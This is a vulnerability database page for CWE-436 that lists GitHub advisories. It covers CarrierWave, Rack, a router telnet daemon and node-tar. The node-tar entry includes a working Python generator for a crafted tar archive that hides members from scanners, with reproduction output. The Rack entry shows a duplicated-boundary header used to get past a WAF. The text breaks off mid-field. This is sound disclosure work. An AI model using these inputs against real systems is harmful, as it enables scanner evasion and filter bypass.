CWE-436
Allowed-with-ReviewInterpretation Conflict
Abstraction: Class · Status: Incomplete
Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.
199 vulnerabilities reference this CWE, most recent first.
GHSA-VFMV-JFC5-PJJW
Vulnerability from github – Published: 2024-03-25 19:40 – Updated: 2024-03-27 13:00Impact
The vulnerability CVE-2023-49090 wasn't fully addressed.
This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.
This bypassed value can be used to cause XSS.
Patches
Workarounds
Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.
# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
def declared_content_type
@declared_content_type ||
if @file.respond_to?(:content_type) && @file.content_type
Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
end
end
end
# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
def existing_content_type
if @file.respond_to?(:content_type) && @file.content_type
Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
end
end
end
References
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "carrierwave"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "carrierwave"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29034"
],
"database_specific": {
"cwe_ids": [
"CWE-436",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-25T19:40:36Z",
"nvd_published_at": "2024-03-24T20:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe vulnerability [CVE-2023-49090](https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-gxhx-g4fq-49hj) wasn\u0027t fully addressed.\n\nThis vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what\u0027s allowed by `content_type_allowlist`, by providing multiple values separated by commas.\n\nThis bypassed value can be used to cause XSS.\n\n### Patches\nUpgrade to [3.0.7](https://rubygems.org/gems/carrierwave/versions/3.0.7) or [2.2.6](https://rubygems.org/gems/carrierwave/versions/2.2.6).\n\n### Workarounds\nUse the following monkey patch to let CarrierWave parse the Content-type by using `Marcel::MimeType.for`.\n\n```ruby\n# For CarrierWave 3.x\nCarrierWave::SanitizedFile.class_eval do\n def declared_content_type\n @declared_content_type ||\n if @file.respond_to?(:content_type) \u0026\u0026 @file.content_type\n Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)\n end\n end\nend\n```\n\n```ruby\n# For CarrierWave 2.x\nCarrierWave::SanitizedFile.class_eval do\n def existing_content_type\n if @file.respond_to?(:content_type) \u0026\u0026 @file.content_type\n Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)\n end\n end\nend\n```\n\n### References\n[OWASP - File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#content-type-validation)\n\n",
"id": "GHSA-vfmv-jfc5-pjjw",
"modified": "2024-03-27T13:00:01Z",
"published": "2024-03-25T19:40:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-vfmv-jfc5-pjjw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29034"
},
{
"type": "WEB",
"url": "https://github.com/carrierwaveuploader/carrierwave/commit/25b1c800d45ef8e78dc445ebe3bd8a6e3f0a3477"
},
{
"type": "PACKAGE",
"url": "https://github.com/carrierwaveuploader/carrierwave"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2024-29034.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CarrierWave content-Type allowlist bypass vulnerability which possibly leads to XSS remained"
}
GHSA-VGPV-F759-9WX3
Vulnerability from github – Published: 2026-04-02 20:30 – Updated: 2026-05-13 16:17Summary
Rack::Multipart::Parser extracts the boundary parameter from multipart/form-data using a greedy regular expression. When a Content-Type header contains multiple boundary parameters, Rack selects the last one rather than the first.
In deployments where an upstream proxy, WAF, or intermediary interprets the first boundary parameter, this mismatch can allow an attacker to smuggle multipart content past upstream inspection and have Rack parse a different body structure than the intermediary validated.
Details
Rack identifies the multipart boundary using logic equivalent to:
MULTIPART = %r|\Amultipart/.*boundary=\"?([^\";,]+)\"?|ni
Because the expression is greedy, it matches the last boundary= parameter in a header such as:
Content-Type: multipart/form-data; boundary=safe; boundary=malicious
As a result, Rack parses the request body using malicious, while another component may interpret the same header using safe.
This creates an interpretation conflict. If an upstream WAF or proxy inspects multipart parts using the first boundary and Rack later parses the body using the last boundary, a client may be able to place malicious form fields or uploaded content in parts that Rack accepts but the upstream component did not inspect as intended.
This issue is most relevant in layered deployments where security decisions are made before the request reaches Rack.
Impact
Applications that accept multipart/form-data uploads behind an inspecting proxy or WAF may be affected.
In such deployments, an attacker may be able to bypass upstream filtering of uploaded files or form fields by sending a request with multiple boundary parameters and relying on the intermediary and Rack to parse the request differently.
The practical impact depends on deployment architecture. If no upstream component relies on a different multipart interpretation, this behavior may not provide meaningful additional attacker capability.
Mitigation
- Update to a patched version of Rack that rejects ambiguous multipart
Content-Typeheaders or parses duplicateboundaryparameters consistently. - Reject requests containing multiple
boundaryparameters. - Normalize or regenerate multipart metadata at the trusted edge before forwarding requests to Rack.
- Avoid relying on upstream inspection of malformed multipart requests unless duplicate parameter handling is explicitly consistent across components.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.23"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0.beta1"
},
{
"fixed": "3.1.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26961"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-02T20:30:40Z",
"nvd_published_at": "2026-04-02T17:16:21Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`Rack::Multipart::Parser` extracts the `boundary` parameter from `multipart/form-data` using a greedy regular expression. When a `Content-Type` header contains multiple `boundary` parameters, Rack selects the last one rather than the first.\n\nIn deployments where an upstream proxy, WAF, or intermediary interprets the first `boundary` parameter, this mismatch can allow an attacker to smuggle multipart content past upstream inspection and have Rack parse a different body structure than the intermediary validated.\n\n## Details\n\nRack identifies the multipart boundary using logic equivalent to:\n\n```ruby\nMULTIPART = %r|\\Amultipart/.*boundary=\\\"?([^\\\";,]+)\\\"?|ni\n```\n\nBecause the expression is greedy, it matches the last `boundary=` parameter in a header such as:\n\n```http\nContent-Type: multipart/form-data; boundary=safe; boundary=malicious\n```\n\nAs a result, Rack parses the request body using `malicious`, while another component may interpret the same header using `safe`.\n\nThis creates an interpretation conflict. If an upstream WAF or proxy inspects multipart parts using the first boundary and Rack later parses the body using the last boundary, a client may be able to place malicious form fields or uploaded content in parts that Rack accepts but the upstream component did not inspect as intended.\n\nThis issue is most relevant in layered deployments where security decisions are made before the request reaches Rack.\n\n## Impact\n\nApplications that accept `multipart/form-data` uploads behind an inspecting proxy or WAF may be affected.\n\nIn such deployments, an attacker may be able to bypass upstream filtering of uploaded files or form fields by sending a request with multiple `boundary` parameters and relying on the intermediary and Rack to parse the request differently.\n\nThe practical impact depends on deployment architecture. If no upstream component relies on a different multipart interpretation, this behavior may not provide meaningful additional attacker capability.\n\n## Mitigation\n\n* Update to a patched version of Rack that rejects ambiguous multipart `Content-Type` headers or parses duplicate `boundary` parameters consistently.\n* Reject requests containing multiple `boundary` parameters.\n* Normalize or regenerate multipart metadata at the trusted edge before forwarding requests to Rack.\n* Avoid relying on upstream inspection of malformed multipart requests unless duplicate parameter handling is explicitly consistent across components.",
"id": "GHSA-vgpv-f759-9wx3",
"modified": "2026-05-13T16:17:17Z",
"published": "2026-04-02T20:30:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-vgpv-f759-9wx3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26961"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2026-26961.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Rack\u0027s greedy multipart boundary parsing can cause parser differentials and WAF bypass."
}
GHSA-VH93-7CH4-7JJR
Vulnerability from github – Published: 2022-03-11 00:02 – Updated: 2022-03-18 00:01A null byte interaction error has been discovered in the code that the telnetd_startup daemon uses to construct a pair of ephemeral passwords that allow a user to spawn a telnet service on the router, and to ensure that the telnet service persists upon reboot. By means of a crafted exchange of UDP packets, an unauthenticated attacker on the local network can leverage this null byte interaction error in such a way as to make those ephemeral passwords predictable (with 1-in-94 odds). Since the attacker must manipulate data processed by the OpenSSL function RSA_public_decrypt(), successful exploitation of this vulnerability depends on the use of an unpadded RSA cipher (CVE-2022-25218).
{
"affected": [],
"aliases": [
"CVE-2022-25219"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-10T17:47:00Z",
"severity": "HIGH"
},
"details": "A null byte interaction error has been discovered in the code that the telnetd_startup daemon uses to construct a pair of ephemeral passwords that allow a user to spawn a telnet service on the router, and to ensure that the telnet service persists upon reboot. By means of a crafted exchange of UDP packets, an unauthenticated attacker on the local network can leverage this null byte interaction error in such a way as to make those ephemeral passwords predictable (with 1-in-94 odds). Since the attacker must manipulate data processed by the OpenSSL function RSA_public_decrypt(), successful exploitation of this vulnerability depends on the use of an unpadded RSA cipher (CVE-2022-25218).",
"id": "GHSA-vh93-7ch4-7jjr",
"modified": "2022-03-18T00:01:19Z",
"published": "2022-03-11T00:02:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25219"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2022-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VMF3-W455-68VH
Vulnerability from github – Published: 2026-06-15 17:19 – Updated: 2026-06-15 17:19Summary
tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).
The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.
This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.
Impact
- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537).
- A crafted archive can present one logical member list to a tool that lists or
scans with node-tar and a different member list to GNU tar / libarchive /
Python tarfile (and vice versa). This lets a malicious file be hidden from a
scanner that uses a different parser than the eventual extractor, or hidden
from node-tar-based inspection while still landing on disk via a system
tar. - No authentication is required; the only precondition is that a victim parses an attacker-supplied tar with node-tar. Tar archives are routinely fetched from untrusted sources (package registries, user uploads, CI artifacts, container layers).
- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct RCE; it is a building block for supply-chain / scanner-evasion attacks rather than a standalone code-execution primitive.
Vulnerable code (file:line)
src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@7.5.15):
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)
ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.
src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:
const header = new Header(chunk, position, this[EX], this[GEX])
and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:
if (entry.meta) {
// L / K / x / g metadata entries: this[EX] is left intact here
if (entry.size > this.maxMetaEntrySize) {
entry.ignore = true
this[STATE] = 'ignore'
entry.resume()
} else if (entry.size > 0) {
this[META] = ''
entry.on('data', c => (this[META] += c))
this[STATE] = 'meta'
}
} else {
this[EX] = undefined // EX cleared only once a real file entry is reached
}
When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.
The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).
How input reaches the sink
tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.
Proof of concept
Archive layout (all standard, GNU-tar-producible blocks):
block 0 : x header (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x payload : the single PAX record "...size=2048\n"
block 2 : L header (GNU long-name '././@LongLink'), real size = 13
block 3 : L payload : "longname.txt\0" (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)
Generator (make_tar.py, pure stdlib, no external deps):
def hdr(name, size, typeflag):
h = bytearray(512); name = name[:100]; h[0:len(name)] = name
h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
h[148:156] = b' ' * 8
cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
return bytes(h)
def pad(d):
return d + b'\0' * ((512 - len(d) % 512) % 512)
def pax_record(key, val): # length-prefixed PAX record "LEN key=val\n"
body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
while True:
s = str(n).encode() + body
if len(s) == n: break
n = len(s)
return s
pax = pax_record('size', 2048) # malicious: claim size=2048 for the "next" entry
out = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0') + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0') + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)
A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.
End-to-end reproduction (against pinned version tar@7.5.15, latest release)
Install the published package into a clean project and parse both archives:
$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);
e2e.mjs:
import * as tar from 'tar'
async function listEntries(f){
const got=[], warns=[]
await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
onwarn:(code,_msg)=>warns.push(code) })
return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))
Verbatim output:
=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===
[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
tar.list() entries : []
tar.list() warnings: ["TAR_ENTRY_INVALID"]
[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
tar.list() warnings: []
Reference parsers on the same pax-desync.tar:
$ tar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar
$ bsdtar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive
$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt'] # Python tarfile
Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).
Suggested fix
When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.
A fix PR is being prepared against a private fork and will be linked here.
Fix PR
To be linked from a private fork of the repository (the fix will not be pushed to any public fork or to upstream during embargo).
Credits
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.15"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53655"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T17:19:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`tar` (node-tar) applies a PAX extended header\u0027s `size=` record (and other PAX\noverrides) to the **next header entry of any type**, including intermediary\nmetadata headers such as a GNU long-name (`L`) or long-link (`K`) entry. Per\nPOSIX pax, a PAX extended header (`x`) describes the *next file entry*, not the\nintermediary extension headers that may sit between the `x` header and the file\nit annotates. Because node-tar lets the PAX `size` override the byte length of\nan intervening `L`/`K`/`x` header, an attacker can desynchronize node-tar\u0027s\nstream cursor relative to every other mainstream tar implementation\n(GNU tar, libarchive/bsdtar, Python `tarfile`, and the now-fixed `tar-rs` /\n`astral-tokio-tar`).\n\nThe result is a tar parser **interpretation differential** (CWE-436): a single\ncrafted archive yields a different set of members under node-tar than under the\nreference tar tools. An attacker can use this to hide a member from one parser\nwhile it is visible to another, which defeats security tooling whose scanner and\nextractor disagree on archive contents (e.g. a malware/secret scanner that lists\nentries with one library while a downstream step extracts with another). node-tar\nis one of the most widely deployed JavaScript tar libraries (it backs `npm`\u0027s own\npackage-tarball handling and is a transitive dependency of a very large fraction\nof the npm ecosystem), so the blast radius for \"files that extract differently\ndepending on the tool\" is broad.\n\nThis is the same root cause and fix that was just addressed upstream in the Rust\ntar ecosystem (`tar-rs` / `astral-tokio-tar`); node-tar carries the equivalent\ndefect and has no equivalent guard.\n\n### Impact\n\n- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as\n the prior tar \"smuggling\" advisories GHSA-j5gw-2vrg-8fgx and\n GHSA-fp55-jw48-c537).\n- A crafted archive can present one logical member list to a tool that lists or\n scans with node-tar and a different member list to GNU tar / libarchive /\n Python tarfile (and vice versa). This lets a malicious file be hidden from a\n scanner that uses a different parser than the eventual extractor, or hidden\n from node-tar-based inspection while still landing on disk via a system `tar`.\n- No authentication is required; the only precondition is that a victim parses\n an attacker-supplied tar with node-tar. Tar archives are routinely fetched\n from untrusted sources (package registries, user uploads, CI artifacts,\n container layers).\n- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct\n RCE; it is a building block for supply-chain / scanner-evasion attacks rather\n than a standalone code-execution primitive.\n\n### Vulnerable code (file:line)\n\n`src/header.ts` (compiled to `dist/esm/header.js:49` and\n`dist/commonjs/header.js:85` in the published `tar@7.5.15`):\n\n```ts\n// Header.decode(buf, off, ex, gex)\nthis.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)\n```\n\n`ex` is the currently-accumulated PAX **local** extended header and `gex` the\nPAX **global** header. The `size` override from `ex`/`gex` is applied\nunconditionally to whatever header is being decoded next \u2014 there is no check\nthat the header being decoded is a real *file* entry rather than an intermediary\nextension header.\n\n`src/parse.ts`, `[CONSUMEHEADER]` constructs the next header with the current\n`EX`/`GEX` applied:\n\n```ts\nconst header = new Header(chunk, position, this[EX], this[GEX])\n```\n\nand later branches on whether that header is a metadata entry. `this[EX]` is\ncleared only in the non-meta (real file) branch:\n\n```ts\nif (entry.meta) {\n // L / K / x / g metadata entries: this[EX] is left intact here\n if (entry.size \u003e this.maxMetaEntrySize) {\n entry.ignore = true\n this[STATE] = \u0027ignore\u0027\n entry.resume()\n } else if (entry.size \u003e 0) {\n this[META] = \u0027\u0027\n entry.on(\u0027data\u0027, c =\u003e (this[META] += c))\n this[STATE] = \u0027meta\u0027\n }\n} else {\n this[EX] = undefined // EX cleared only once a real file entry is reached\n}\n```\n\nWhen the stream is ordered `x (PAX, size=N) -\u003e L (GNU long-name) -\u003e file`, the\n`L` header is constructed with `this[EX]` still set, so its `size`/`remain`\nbecomes `N` instead of the `L` payload\u0027s true length. node-tar then consumes `N`\nbytes of \"metadata\" and resumes header parsing at the wrong offset, landing\nmid-stream. Every other mainstream parser applies the PAX `size` only to the\nfollowing *file* entry, so they stay synchronized.\n\nThe correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is\nto **not** apply PAX `size`/overrides when the entry being decoded is itself an\nextension header (`L` GNU long-name, `K` GNU long-link, `x` PAX local, `g` PAX\nglobal).\n\n### How input reaches the sink\n\n`tar.list()`, `tar.extract()`/`tar.x()`, and `tar.Parse`/`tar.Unpack` all route\nevery 512-byte header block through `Header.decode(...)` with the\ncurrently-accumulated `EX`/`GEX`. Any consumer that parses an attacker-supplied\narchive \u2014 `tar.list`, `tar.extract`, or piping into the streaming `Parser` \u2014\nreaches the sink. No options need to be enabled; the default code path is\naffected.\n\n### Proof of concept\n\nArchive layout (all standard, GNU-tar-producible blocks):\n\n```\nblock 0 : x header (PAX local extended, typeflag \u0027x\u0027), its own size = len(pax body)\nblock 1 : x payload : the single PAX record \"...size=2048\\n\"\nblock 2 : L header (GNU long-name \u0027././@LongLink\u0027), real size = 13\nblock 3 : L payload : \"longname.txt\\0\" (the long name for the next file)\nblock 4 : file header \u0027file_a\u0027, size = 16\nblock 5 : file_a body (16 bytes, zero-padded to 512)\nblock 6 : file header \u0027file_b\u0027, size = 16\nblock 7 : file_b body (16 bytes, zero-padded to 512)\n```\n\nGenerator (`make_tar.py`, pure stdlib, no external deps):\n\n```python\ndef hdr(name, size, typeflag):\n h = bytearray(512); name = name[:100]; h[0:len(name)] = name\n h[100:108] = b\u00270000644\\0\u0027; h[108:116] = b\u00270000000\\0\u0027; h[116:124] = b\u00270000000\\0\u0027\n h[124:136] = (\u0027%011o\\0\u0027 % size).encode(); h[136:148] = b\u002700000000000\\0\u0027\n h[156:157] = typeflag; h[257:263] = b\u0027ustar\\0\u0027; h[263:265] = b\u002700\u0027\n h[148:156] = b\u0027 \u0027 * 8\n cs = sum(h); h[148:156] = (\u0027%06o\\0 \u0027 % cs).encode()\n return bytes(h)\n\ndef pad(d):\n return d + b\u0027\\0\u0027 * ((512 - len(d) % 512) % 512)\n\ndef pax_record(key, val): # length-prefixed PAX record \"LEN key=val\\n\"\n body = b\u0027 %s=%s\\n\u0027 % (key.encode(), str(val).encode()); n = len(body)\n while True:\n s = str(n).encode() + body\n if len(s) == n: break\n n = len(s)\n return s\n\npax = pax_record(\u0027size\u0027, 2048) # malicious: claim size=2048 for the \"next\" entry\nout = hdr(b\u0027PaxHeaders/x\u0027, len(pax), b\u0027x\u0027) + pad(pax)\nout += hdr(b\u0027././@LongLink\u0027, 13, b\u0027L\u0027) + pad(b\u0027longname.txt\\0\u0027)\nout += hdr(b\u0027file_a\u0027, 16, b\u00270\u0027) + pad(b\u0027AAAA_file_a_body\u0027)\nout += hdr(b\u0027file_b\u0027, 16, b\u00270\u0027) + pad(b\u0027BBBB_file_b_body\u0027)\nout += b\u0027\\0\u0027 * 1024\nopen(\u0027pax-desync.tar\u0027, \u0027wb\u0027).write(out)\n```\n\nA negative-control archive is identical except the PAX record is\n`pax_record(\u0027comment\u0027, \u0027x\u0027)` (no `size=`), written to `pax-control.tar`.\n\n### End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)\n\nInstall the published package into a clean project and parse both archives:\n\n```\n$ npm init -y \u003e/dev/null \u0026\u0026 npm install tar@7.5.15\n$ node -e \"console.log(require(\u0027tar/package.json\u0027).version)\"\n7.5.15\n$ grep -n \"ex?.size ?? gex?.size\" node_modules/tar/dist/esm/header.js\n49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);\n```\n\n`e2e.mjs`:\n\n```js\nimport * as tar from \u0027tar\u0027\nasync function listEntries(f){\n const got=[], warns=[]\n await tar.list({ file:f, onReadEntry:e=\u003e{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },\n onwarn:(code,_msg)=\u003ewarns.push(code) })\n return { got, warns }\n}\nconst mal = await listEntries(\u0027pax-desync.tar\u0027)\nconsole.log(\u0027MALICIOUS entries :\u0027, JSON.stringify(mal.got), \u0027warnings:\u0027, JSON.stringify(mal.warns))\nconst ctl = await listEntries(\u0027pax-control.tar\u0027)\nconsole.log(\u0027CONTROL entries :\u0027, JSON.stringify(ctl.got), \u0027warnings:\u0027, JSON.stringify(ctl.warns))\n```\n\nVerbatim output:\n\n```\n=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===\n\n[MALICIOUS] archive = x(PAX size=2048) -\u003e L(GNU longname \"longname.txt\") -\u003e file_a(16B) -\u003e file_b(16B)\n tar.list() entries : []\n tar.list() warnings: [\"TAR_ENTRY_INVALID\"]\n\n[NEGATIVE CONTROL] same archive, PAX record is \"comment=x\" (no size= override)\n tar.list() entries : [{\"path\":\"longname.txt\",\"size\":16,\"type\":\"File\"},{\"path\":\"file_b\",\"size\":16,\"type\":\"File\"}]\n tar.list() warnings: []\n```\n\nReference parsers on the **same** `pax-desync.tar`:\n\n```\n$ tar tvf pax-desync.tar\n-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar\n\n$ bsdtar tvf pax-desync.tar\n-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive\n\n$ python3 -c \"import tarfile; print([m.name for m in tarfile.open(\u0027pax-desync.tar\u0027).getmembers()])\"\n[\u0027longname.txt\u0027] # Python tarfile\n```\n\nInterpretation differential: GNU tar, libarchive (bsdtar), and Python `tarfile`\nall extract the member `longname.txt` from `pax-desync.tar`, whereas node-tar\n`7.5.15` desynchronizes, raises `TAR_ENTRY_INVALID` (checksum failure from\nlanding mid-stream), and reports **zero** members. The negative control proves\nthe divergence is caused solely by the PAX `size=` override being applied to the\nintermediary `L` header \u2014 when the same archive carries a PAX record without\n`size=`, node-tar parses it identically to the reference tools\n(`longname.txt`, `file_b`).\n\n### Suggested fix\n\nWhen decoding a header, do not apply PAX `size` (or other PAX overrides) if the\nheader being decoded is itself an extension header. Concretely, in\n`src/parse.ts` clear/ignore `this[EX]` (and `this[GEX]` for `size`) when the\nheader\u0027s type is `ExtendedHeader`, `GlobalExtendedHeader`, `NextFileHasLongPath`\n(GNU `L`), or `NextFileHasLongLinkpath` (GNU `K`); equivalently, in\n`Header.decode`, gate the `ex?.size ?? gex?.size` override on the decoded type\nnot being one of those 